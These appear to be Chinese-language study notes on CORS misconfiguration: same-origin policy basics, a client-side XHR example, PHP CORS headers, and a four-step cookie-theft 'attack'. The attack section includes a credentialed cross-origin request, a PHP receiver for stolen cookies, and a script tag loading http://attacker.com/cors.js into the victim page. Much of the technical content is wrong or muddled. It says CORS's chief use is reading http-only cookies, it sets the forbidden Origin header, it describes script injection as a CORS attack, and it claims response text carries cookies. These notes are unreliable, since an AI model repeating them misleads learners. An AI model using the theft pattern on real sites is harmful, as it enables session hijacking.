CORS

Contents

漏洞全称 跨域资源共享(Cross-origin resource sharing)。它是同源策略的扩展,使得不同源网站之间资源的访问更加灵活。

同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。同源的意思即为两个站点需要满足同协议,同域名,同端口这三个条件。

假如网站的CORS策略配置不当,它就有可能带来基于跨域的攻击。 所以归根结底,这还是一个配置不当引发的安全问题。

CORS最大的作用应该就是==拿到设置了http-only的cookie==

CORS开发实现

前端

以下是一个使用JavaScript实现CORS的简单示例代码:

javascriptCopy codevar xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/api/data', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Origin', 'http://your-domain.com');
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    var data = JSON.parse(xhr.responseText);
    // 处理返回的数据
  }
};
xhr.send();

在此示例中,我们创建一个XMLHttpRequest对象,并使用open方法指定请求的URL和请求类型。我们还将withCredentials属性设置为true,以便允许使用cookie进行身份验证。然后,我们设置Content-Type和Origin头部,并在readyState改变时检查响应状态。如果响应状态是200,我们解析响应文本并处理数据。

后端

<?php
header('Access-Control-Allow-Origin: http://your-domain.com');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type, Authorization');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
  header('Access-Control-Max-Age: 86400');
  header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
  header('Access-Control-Allow-Headers: Content-Type, Authorization');
  header('Access-Control-Allow-Credentials: true');
  header('Access-Control-Allow-Origin: http://your-domain.com');
  header('Content-Length: 0');
  header('Content-Type: text/plain');
  die();
}
// 在此处理其他请求逻辑
?>

攻击

ps:归根结底,这还是一个配置不当引发的安全问题。配置正确就无法利用

假设您拥有一个受害者网站example.com,您可以使用以下步骤来利用CORS攻击来窃取其cookie:

1.在您拥有的攻击者网站中创建一个包含以下代码的JavaScript文件,以向example.com发起CORS请求并接收其响应:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com', true);
xhr.withCredentials = true;
xhr.onload = function() {
  var responseText = xhr.responseText;
  // 发送响应文本到攻击者网站的服务器
};
xhr.send();

2.在攻击者网站的服务器上,设置一个接收响应文本的脚本,例如:

<?php
  $cookie = $_GET['cookie'];
  // 将cookie发送到攻击者网站的服务器
?>

3.将攻击者网站的JavaScript文件包含在您的受害者网站中,例如:

<script src="http://attacker.com/cors.js"></script>

4.当用户访问受害者网站时,攻击者网站的JavaScript文件将被加载,发送CORS请求到example.com并将响应文本发送回攻击者网站的服务器,包括example.com的cookie。

0%